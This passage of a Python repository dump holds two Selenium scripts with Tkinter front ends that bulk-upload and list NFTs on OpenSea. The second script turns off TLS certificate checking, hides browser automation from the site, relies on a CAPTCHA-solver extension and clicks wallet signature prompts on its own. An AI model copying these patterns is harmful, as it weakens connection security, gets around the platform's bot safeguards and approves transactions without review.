281 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']")
282 | driver.execute_script("arguments[0].click();", properties)
283 | time.sleep(0.8)
284 |
285 | # checks if file exists
286 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read())
287 |
288 | if "attributes" in jsonData:
289 | jsonMetaData = jsonData['attributes']
290 |
291 | for key in jsonMetaData:
292 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
293 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
294 | #print(str(key['trait_type']))
295 | #print(str(key['value']))
296 | input1.send_keys(str(key['trait_type']))
297 | input2.send_keys(str(key['value']))
298 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
299 | driver.execute_script("arguments[0].click();", addmore_button)
300 | time.sleep(0.9)
301 |
302 | try:
303 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
304 | driver.execute_script("arguments[0].click();", save_button)
305 | time.sleep(0.8)
306 | except:
307 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
308 | time.sleep(0.8)
309 |
310 | elif "properties" in jsonData:
311 | jsonMetaData = jsonData['properties']
312 |
313 | for key in jsonMetaData:
314 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
315 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
316 | #print(str(key['type']))
317 | #print(str(key['name']))
318 | input1.send_keys(str(key['type']))
319 | input2.send_keys(str(key['name']))
320 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
321 | driver.execute_script("arguments[0].click();", addmore_button)
322 | time.sleep(0.9)
323 |
324 | try:
325 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
326 | driver.execute_script("arguments[0].click();", save_button)
327 | time.sleep(0.8)
328 | except:
329 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
330 | time.sleep(0.8)
331 |
332 | else:
333 | print("keys not found!")
334 |
335 | # Select Polygon blockchain if applicable
336 | #if is_polygon.get():
337 |
338 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button')
339 | driver.execute_script("arguments[0].click();", create)
340 | time.sleep(0.8)
341 |
342 | try:
343 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i')
344 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')
345 | cross.click()
346 | time.sleep(0.8)
347 | except:
348 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i')
349 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')
350 | cross.click()
351 | time.sleep(0.8)
352 | # wait_css_selector("i[aria-label='Close']")
353 | # cross = driver.find_element_by_css_selector("i[aria-label='Close']")
354 | # cross.click()
355 | # time.sleep(0.8)
356 |
357 |
358 | main_page = driver.current_window_handle
359 |
360 | if is_listing.get():
361 |
362 | wait_xpath('//a[text()="Sell"]')
363 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]')
364 | driver.execute_script("arguments[0].click();", sell)
365 |
366 | wait_css_selector("input[placeholder='Amount']")
367 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']")
368 | amount.send_keys(str(loop_price))
369 | time.sleep(1)
370 |
371 | #duration
372 | duration_date = duration_value.get()
373 | #print(duration_date)
374 | # time.sleep(60)
375 | if duration_date == 1 :
376 | endday = (date.today() + timedelta(days=1)).day
377 | endmonth = (date.today() + timedelta(days=1)).month
378 | #print(endday, endmonth)
379 | if duration_date == 3 :
380 | endday = (date.today() + timedelta(days=3)).day
381 | endmonth = (date.today() + timedelta(days=3)).month
382 | #print(endday, endmonth)
383 | if duration_date == 7 :
384 | endday = (date.today() + timedelta(days=7)).day
385 | endmonth = (date.today() + timedelta(days=7)).month
386 | #print(endday, endmonth)
387 | if duration_date == 30:
388 | endday = (date.today() + relativedelta(months=+1)).day
389 | endmonth = (date.today() + relativedelta(months=+1)).month
390 | #print(endday, endmonth)
391 | if duration_date == 60:
392 | endday = (date.today() + relativedelta(months=+2)).day
393 | endmonth = (date.today() + relativedelta(months=+2)).month
394 | #print(endday, endmonth)
395 | if duration_date == 90:
396 | endday = (date.today() + relativedelta(months=+3)).day
397 | endmonth = (date.today() + relativedelta(months=+3)).month
398 | #print(endday, endmonth)
399 | if duration_date == 120:
400 | endday = (date.today() + relativedelta(months=+4)).day
401 | endmonth = (date.today() + relativedelta(months=+4)).month
402 | #print(endday, endmonth)
403 | if duration_date == 150:
404 | endday = (date.today() + relativedelta(months=+5)).day
405 | endmonth = (date.today() + relativedelta(months=+5)).month
406 | #print(endday, endmonth)
407 | if duration_date == 180:
408 | endday = (date.today() + relativedelta(months=+6)).day
409 | endmonth = (date.today() + relativedelta(months=+6)).month
410 | #print(endday, endmonth)
411 |
412 | #if duration_date != 30:
413 | amount.send_keys(Keys.TAB)
414 | time.sleep(0.8)
415 | # wait_xpath('//*[@id="duration"]')
416 | # driver.find_element_by_xpath('//*[@id="duration"]').click()
417 |
418 | wait_xpath('//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input')
419 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input')
420 | driver.execute_script("arguments[0].click();", select_durationday)
421 | time.sleep(0.8)
422 |
423 | if lastdate.strftime('%x')[:2] == "12":
424 | #print("is month first")
425 | select_durationday.send_keys(str(endmonth))
426 | select_durationday.send_keys(str(endday))
427 | select_durationday.send_keys(Keys.ENTER)
428 | time.sleep(1)
429 | elif lastdate.strftime('%x')[:2] == "31":
430 | #print("is day first")
431 | select_durationday.send_keys(str(endday))
432 | select_durationday.send_keys(str(endmonth))
433 | select_durationday.send_keys(Keys.ENTER)
434 | time.sleep(1)
435 | else:
436 | print("invalid date format: change date format to MM/DD/YYYY or DD/MM/YYYY")
437 |
438 | wait_css_selector("button[type='submit']")
439 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
440 | driver.execute_script("arguments[0].click();", listing)
441 | time.sleep(10)
442 |
443 | if is_polygon.get():
444 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click()
445 | time.sleep(1)
446 |
447 | for handle in driver.window_handles:
448 | if handle != main_page:
449 | login_page = handle
450 | #break
451 |
452 | driver.switch_to.window(login_page)
453 |
454 | if is_polygon.get():
455 | print("polygon")
456 | wait_css_selector("button[data-testid='request-signature__sign']")
457 | sign = driver.find_element(By.CSS_SELECTOR, "button[data-testid='request-signature__sign']")
458 | driver.execute_script("arguments[0].click();", sign)
459 | time.sleep(1)
460 | else:
461 | print("eth")
462 | try:
463 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
464 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
465 | driver.execute_script("arguments[0].click();", scrollsign)
466 | time.sleep(1)
467 | except:
468 | driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']").click()
469 | time.sleep(1)
470 |
471 | try:
472 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
473 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
474 | time.sleep(1)
475 | except:
476 | wait_xpath('//button[text()="Sign"]')
477 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
478 | driver.execute_script("arguments[0].click();", metasign)
479 | time.sleep(1)
480 |
481 |
482 | #change control to main page
483 | driver.switch_to.window(main_page)
484 | time.sleep(0.7)
485 |
486 | start_num = start_num + 1
487 | print('NFT creation completed!')
488 |
489 | driver.get("https://www.opensea.io")
490 |
491 |
492 |
493 | duration_value = IntVar()
494 | duration_value.set(value=180)
495 |
496 | duration_date = Frame(root, padx=0, pady=1)
497 | duration_date.grid(row=10, column=1, sticky=(N, W, E, S))
498 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=8,).grid(row=0, column=1)
499 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=8, ).grid(row=0, column=2)
500 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=8,).grid(row=0, column=3)
501 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=8,).grid(row=0, column=4)
502 | tk.Radiobutton(duration_date, text="60 days", variable=duration_value, value=60, anchor="w", command=save_duration, width=8,).grid(row=0, column=5)
503 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=8,).grid(row=1, columnspan=1, column=1)
504 | tk.Radiobutton(duration_date, text="120 days", variable=duration_value, value=120, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=2)
505 | tk.Radiobutton(duration_date, text="150 days", variable=duration_value, value=150, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=3)
506 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=4)
507 | duration_date.label = Label(root, text="Duration:", anchor="w", width=20, height=1 )
508 | duration_date.label.grid(row=10, column=0, padx=12, pady=2)
509 |
510 |
511 | # isnumFormat = tkinter.Checkbutton(root, text='Number format 0001 ~ 99999', var=is_numformat, width=49, anchor="w")
512 | # isnumFormat.grid(row=18, column=1)
513 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w")
514 | isCreate.grid(row=19, column=1)
515 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w")
516 | isPolygon.grid(row=20, column=1)
517 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input)
518 | upload_folder_input_button.grid(row=21, column=1, padx=2)
519 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile)
520 | open_browser.grid(row=23, column=1, pady=2)
521 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save)
522 | button_save.grid(row=22, column=1, pady=2)
523 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop)
524 | button_start['font'] = font.Font(size=10, weight='bold')
525 | button_start.grid(row=25, column=1, pady=2)
526 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE )
527 | footer.grid(row=31, columnspan=2, padx=31, pady=31)
528 |
529 | try:
530 | with open(save_file_path(), "rb") as infile:
531 | new_dict = pickle.load(infile)
532 | global upload_path
533 | Name_change_img_folder_button(new_dict[0])
534 | upload_path = new_dict[0]
535 | except FileNotFoundError:
536 | pass
537 | #####BUTTON ZONE END#######
538 | root.mainloop()
539 |
--------------------------------------------------------------------------------
/Old/upload_2captcha.py:
--------------------------------------------------------------------------------
1 | import tkinter
2 | import subprocess
3 | from tkinter import *
4 | from tkinter import filedialog
5 | import tkinter as tk
6 | from tkinter import ttk
7 | from tkinter import messagebox
8 | import tkinter.font as font
9 | from turtle import width
10 | from PIL import ImageTk, Image
11 | import urllib.request
12 | from urllib import parse
13 | from io import BytesIO
14 | import os
15 | import io
16 | import sys
17 | import pickle
18 | import time
19 | from decimal import *
20 | import webbrowser
21 | # from click import command
22 | from selenium import webdriver
23 | from selenium.webdriver.common.by import By
24 | from selenium.webdriver.support.wait import WebDriverWait
25 | from selenium.webdriver.chrome.options import Options
26 | from selenium.webdriver.chrome.service import Service
27 | from selenium.webdriver.support import expected_conditions as ExpectedConditions
28 | from selenium.common.exceptions import NoSuchElementException
29 | from selenium.webdriver.support.ui import Select
30 | from selenium.webdriver.common.keys import Keys
31 | from datetime import timedelta
32 | import dateutil.relativedelta
33 | from datetime import timedelta, date
34 | import locale
35 | import json
36 | import ssl
37 | import random
38 |
39 | ssl._create_default_https_context = ssl._create_unverified_context
40 |
41 | #check local date format
42 | locale.setlocale(locale.LC_ALL, '')
43 | lastdate = date(date.today().year, 12, 31)
44 |
45 | root = Tk()
46 | root.geometry('750x850')
47 | root.resizable(False, False)
48 | root.title("NFTs Upload to OpenSea v1.9.0 - 2Captcha.com Solver")
49 |
50 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0]
51 | main_directory = os.path.join(sys.path[0])
52 |
53 |
54 | def supportURL():
55 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app")
56 |
57 | def coffeeURL():
58 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks")
59 |
60 |
61 | class WebImage:
62 | def __init__(self, url):
63 | with urllib.request.urlopen(url) as u:
64 | raw_data = u.read()
65 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data))
66 | image = Image.open(io.BytesIO(raw_data))
67 | self.image = ImageTk.PhotoImage(image)
68 |
69 | def get(self):
70 | return self.image
71 |
72 |
73 | imageurl = "https://www.infotrex.net/opensea/header.png"
74 | img = WebImage(imageurl).get()
75 | imagelab = tk.Label(root, image=img)
76 | imagelab.grid(row=0, columnspan=2)
77 | imagelab.bind("", lambda e:supportURL())
78 |
79 | is_polygon = BooleanVar()
80 | is_polygon.set(True)
81 |
82 | is_listing = BooleanVar()
83 | is_listing.set(True)
84 |
85 | is_numformat = BooleanVar()
86 | is_numformat.set(False)
87 |
88 | is_sensitivecontent = BooleanVar()
89 | is_sensitivecontent.set(False)
90 |
91 | def save_duration():
92 | duration_value.set(value=duration_value.get())
93 | # print(duration_value.get())
94 |
95 | def open_chrome_profile():
96 | subprocess.Popen(
97 | [
98 | "start",
99 | "chrome",
100 | "--remote-debugging-port=8989",
101 | "--user-data-dir=" + main_directory + "/chrome_profile",
102 | ],
103 | shell=True,
104 | )
105 |
106 |
107 | def save_file_path():
108 | return os.path.join(sys.path[0], "Save_gui.cloud")
109 |
110 |
111 | # ask for directory on clicking button, changes button name.
112 | def upload_folder_input():
113 | global upload_path
114 | upload_path = filedialog.askdirectory()
115 | Name_change_img_folder_button(upload_path)
116 |
117 | def Name_change_img_folder_button(upload_folder_input):
118 | upload_folder_input_button["text"] = upload_folder_input
119 |
120 | def is_numeric(val):
121 | if str(val).isdigit():
122 | return True
123 | elif str(val).replace('.','',1).isdigit():
124 | return True
125 | else:
126 | return False
127 |
128 | def check_exists_by_xpath(driver, xpath):
129 | try:
130 | # driver.find_element_by_xpath(xpath)
131 | driver.find_element(By.XPATH, xpath)
132 | except NoSuchElementException:
133 | return False
134 | return True
135 |
136 | class InputField:
137 | def __init__(self, label, row_io, column_io, pos, master=root):
138 | self.master = master
139 | self.input_field = Entry(self.master, width=60)
140 | self.input_field.grid(ipady=3)
141 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 )
142 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2)
143 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2)
144 |
145 | try:
146 | with open(save_file_path(), "rb") as infile:
147 | new_dict = pickle.load(infile)
148 | self.insert_text(new_dict[pos])
149 | except FileNotFoundError:
150 | pass
151 |
152 | def insert_text(self, text):
153 | self.input_field.delete(0, "end")
154 | self.input_field.insert(0, text)
155 |
156 | def save_inputs(self, pos):
157 | #messagebox.showwarning("showwarning", "Warning")
158 | input_save_list.insert(pos, self.input_field.get())
159 | #print(self.input_field.get())
160 | with open(save_file_path(), "wb") as outfile:
161 | pickle.dump(input_save_list, outfile)
162 |
163 | def validate_inputs(self, maxlen, type, message):
164 |
165 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen):
166 | messagebox.showwarning("showwarning", message)
167 |
168 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen):
169 | messagebox.showwarning("showwarning", message)
170 |
171 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen):
172 | messagebox.showwarning("showwarning", message)
173 |
174 | else:
175 | return True
176 |
177 |
178 | ###input objects###
179 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1)
180 | start_num_input = InputField("Start Number:", 3, 0, 2)
181 | end_num_input = InputField("End Number:", 4, 0, 3)
182 | price = InputField("Default Price:", 5, 0, 4)
183 | title = InputField("Title:", 6, 0, 5)
184 | description = InputField("Description:", 7, 0, 6)
185 | file_format = InputField("NFT Image Format:", 8, 0, 7)
186 | external_link = InputField("External link:", 9, 0, 8)
187 |
188 |
189 | def save():
190 |
191 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())):
192 | #messagebox.showwarning("showwarning", "End number should greater than start number!")
193 | print ("true")
194 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 :
195 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
196 | print ("true")
197 | else:
198 | collection_link_input.validate_inputs(200, 2, 'Collection link required')
199 | price.validate_inputs(100, 1, 'Price required')
200 | title.validate_inputs(100, 2, 'title required')
201 | description.validate_inputs(500, 2, 'description required')
202 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif')
203 | external_link.validate_inputs(300, 3, '')
204 |
205 |
206 | input_save_list.insert(0, upload_path)
207 | collection_link_input.save_inputs(1)
208 | start_num_input.save_inputs(2)
209 | end_num_input.save_inputs(3)
210 | price.save_inputs(4)
211 | title.save_inputs(5)
212 | description.save_inputs(6)
213 | file_format.save_inputs(7)
214 | external_link.save_inputs(8)
215 |
216 |
217 | def main_program_loop():
218 |
219 | if len(end_num_input.input_field.get()) > 5 :
220 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
221 | sys.exit()
222 |
223 | project_path = main_directory
224 | file_path = upload_path
225 | collection_link = collection_link_input.input_field.get()
226 | start_num = int(start_num_input.input_field.get())
227 | end_num = int(end_num_input.input_field.get())
228 | loop_price = float(price.input_field.get())
229 | loop_title = title.input_field.get()
230 | loop_file_format = file_format.input_field.get()
231 | loop_external_link = str(external_link.input_field.get())
232 | loop_description = description.input_field.get()
233 |
234 | ##chromeoptions
235 | options = webdriver.ChromeOptions()
236 | options.add_argument("--disable-blink-features=AutomationControlled")
237 | options.add_experimental_option("debuggerAddress", "localhost:8989")
238 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options)
239 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt )
240 | wait = WebDriverWait(driver, 60)
241 |
242 | ###wait for methods
243 | def wait_css_selector(code):
244 | wait.until(
245 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code))
246 | )
247 |
248 | def wait_css_selectorTest(code):
249 | wait.until(
250 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code))
251 | )
252 |
253 | def wait_xpath(code):
254 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
255 |
256 |
257 | def wait_xpath_clickable(code):
258 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code)))
259 |
260 | def check_exists_by_tagname(tagname):
261 | try:
262 | # driver.find_element_by_tagname(tagname)
263 | driver.find_element(By.TAG_NAME, tagname)
264 | except NoSuchElementException:
265 | return False
266 | return True
267 |
268 | def delay(waiting_time=30):
269 | driver.implicitly_wait(waiting_time)
270 |
271 | sleeptime = random.uniform(1.25, 2.95)
272 |
273 | while end_num >= start_num:
274 | if is_numformat.get():
275 | start_numformat = f"{ start_num:04}"
276 | else:
277 | start_numformat = f"{ start_num:01}"
278 |
279 | print("Start creating NFT " + loop_title + str(start_numformat))
280 | print('number ', start_numformat)
281 | driver.get(collection_link)
282 |
283 |
284 | wait_xpath('//*[@id="media"]')
285 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]')
286 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here
287 | imageUpload.send_keys(imagePath)
288 | time.sleep(sleeptime)
289 |
290 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
291 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
292 | time.sleep(sleeptime)
293 |
294 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]')
295 | ext_link.send_keys(loop_external_link)
296 | time.sleep(sleeptime)
297 |
298 | desc = driver.find_element(By.XPATH, '//*[@id="description"]')
299 | desc.send_keys(loop_description)
300 | time.sleep(sleeptime)
301 |
302 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json"
303 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK):
304 |
305 | #print(str(jsonMetaData))
306 | wait_css_selector("button[aria-label='Add properties']")
307 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']")
308 | driver.execute_script("arguments[0].click();", properties)
309 | time.sleep(sleeptime)
310 |
311 | # checks if file exists
312 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read())
313 |
314 | if "attributes" in jsonData:
315 | jsonMetaData = jsonData['attributes']
316 |
317 | for key in jsonMetaData:
318 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
319 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
320 | #print(str(key['trait_type']))
321 | #print(str(key['value']))
322 | input1.send_keys(str(key['trait_type']))
323 | input2.send_keys(str(key['value']))
324 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
325 | driver.execute_script("arguments[0].click();", addmore_button)
326 | time.sleep(sleeptime)
327 |
328 | try:
329 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
330 | driver.execute_script("arguments[0].click();", save_button)
331 | time.sleep(sleeptime)
332 | except:
333 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
334 | time.sleep(sleeptime)
335 |
336 | elif "properties" in jsonData:
337 | jsonMetaData = jsonData['properties']
338 |
339 | for key in jsonMetaData:
340 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input')
341 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input')
342 | #print(str(key['type']))
343 | #print(str(key['name']))
344 | input1.send_keys(str(key['type']))
345 | input2.send_keys(str(key['name']))
346 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]')
347 | driver.execute_script("arguments[0].click();", addmore_button)
348 | time.sleep(sleeptime)
349 |
350 | try:
351 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]')
352 | driver.execute_script("arguments[0].click();", save_button)
353 | time.sleep(sleeptime)
354 | except:
355 | driver.find_element(By.XPATH, '//button[text()="Save"]').click()
356 | time.sleep(sleeptime)
357 |
358 | else:
359 | print("keys not found!")
360 |
361 | # Select Polygon blockchain if applicable
362 | wait_xpath('//*[@id="chain"]')
363 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value")
364 | blockchain_dropdown = driver.find_element(By.ID, "chain")
365 | driver.execute_script("arguments[0].scrollIntoView();", blockchain_dropdown )
366 | # print(default_blockchain)
367 |
368 | if is_polygon.get():
369 | print("polygon")
370 |
371 |
372 | else:
373 | print("eth")
374 |
375 |
376 | # delay()
377 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button')
378 | driver.execute_script("arguments[0].click();", create)
379 | time.sleep(sleeptime)
380 |
381 | main_page = driver.current_window_handle
382 |
383 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'):
384 | wait_xpath('//h4[text()="Almost done"]')
385 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]')
386 |
387 | if check_exists_by_tagname('iframe'):
388 | # print("have iframe")
389 |
390 | delay()
391 | solved_info = WebDriverWait(driver, 150).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" )))
392 | # solved_status = WebDriverWait(driver, 10).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" ))).get_attribute("innerHTML")
393 | # print(str(solved_status))
394 | wait_xpath("//div[@class='captcha-solver']")
395 | captcha_solver_button = driver.find_element(By.XPATH, "//div[@class='captcha-solver']")
396 | driver.execute_script("arguments[0].click();", captcha_solver_button)
397 | time.sleep(sleeptime)
398 | WebDriverWait(driver, 60).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solving']" )))
399 | print("solving")
400 | WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solved']")))
401 | print("solved")
402 |
403 | else:
404 | pass
405 |
406 |
407 | else:
408 | print("no captcha")
409 |
410 |
411 | try:
412 | delay()
413 | cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i')))
414 | cross.click()
415 | time.sleep(sleeptime)
416 | except:
417 | delay()
418 | cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i')))
419 | driver.execute_script("arguments[0].click();", cross)
420 | time.sleep(2)
421 |
422 |
423 | main_page = driver.current_window_handle
424 |
425 | if is_listing.get():
426 |
427 | wait_xpath('//a[text()="Sell"]')
428 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]')
429 | driver.execute_script("arguments[0].click();", sell)
430 | time.sleep(2)
431 |
432 | wait_css_selector("input[placeholder='Amount']")
433 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']")
434 | amount.send_keys(str(loop_price))
435 | time.sleep(sleeptime)
436 |
437 | #duration
438 | duration_date = duration_value.get()
439 | #print(duration_date)
440 |
441 | #if duration_date != 30:
442 | amount.send_keys(Keys.TAB)
443 | time.sleep(sleeptime)
444 |
445 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input')
446 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input')
447 | select_durationday.click()
448 | if duration_date == 1 :
449 | range_button_location = '//span[normalize-space() = "1 day"]'
450 | if duration_date == 3 :
451 | range_button_location = '//span[normalize-space() = "3 days"]'
452 | if duration_date == 7 :
453 | range_button_location = '//span[normalize-space() = "7 days"]'
454 | if duration_date == 30 :
455 | range_button_location = '//span[normalize-space() = "1 month"]'
456 | if duration_date == 90 :
457 | range_button_location = '//span[normalize-space() = "3 months"]'
458 | if duration_date == 180 :
459 | range_button_location = '//span[normalize-space() = "6 months"]'
460 |
461 | wait.until(ExpectedConditions.presence_of_element_located(
462 | (By.XPATH, range_button_location)))
463 | ethereum_button = driver.find_element(
464 | By.XPATH, range_button_location)
465 | ethereum_button.click()
466 | select_durationday.send_keys(Keys.ENTER)
467 | time.sleep(sleeptime)
468 |
469 | delay()
470 | wait_css_selector("button[type='submit']")
471 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']")
472 | driver.execute_script("arguments[0].click();", listing)
473 | time.sleep(8)
474 |
475 | if is_polygon.get():
476 | WebDriverWait(driver, 20).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//button[text()='Sign']")))
477 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click()
478 | time.sleep(2)
479 |
480 | for handle in driver.window_handles:
481 | if handle != main_page:
482 | login_page = handle
483 | #break
484 |
485 | driver.switch_to.window(login_page)
486 |
487 | if is_polygon.get():
488 | try:
489 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
490 | time.sleep(0.7)
491 | except:
492 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
493 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
494 | driver.execute_script("arguments[0].click();", polygonscrollsign)
495 | time.sleep(0.7)
496 |
497 | try:
498 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
499 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
500 | time.sleep(0.7)
501 | except:
502 | wait_xpath('//button[text()="Sign"]')
503 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
504 | driver.execute_script("arguments[0].click();", metasign)
505 | time.sleep(0.7)
506 | else:
507 | try:
508 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click()
509 | time.sleep(0.7)
510 | except:
511 | wait_xpath("//div[@class='signature-request-message__scroll-button']")
512 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']")
513 | driver.execute_script("arguments[0].click();", scrollsign)
514 | time.sleep(0.7)
515 |
516 | try:
517 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]')
518 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click()
519 | time.sleep(0.7)
520 | except:
521 | wait_xpath('//button[text()="Sign"]')
522 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]')
523 | driver.execute_script("arguments[0].click();", metasign)
524 | time.sleep(0.7)
525 |
526 |
527 | #change control to main page
528 | driver.switch_to.window(main_page)
529 | time.sleep(1)
530 |
531 | start_num = start_num + 1
532 | print('NFT creation completed!')
533 | time.sleep(2)
534 |
535 | driver.get("https://www.opensea.io")
536 |
537 |
538 |
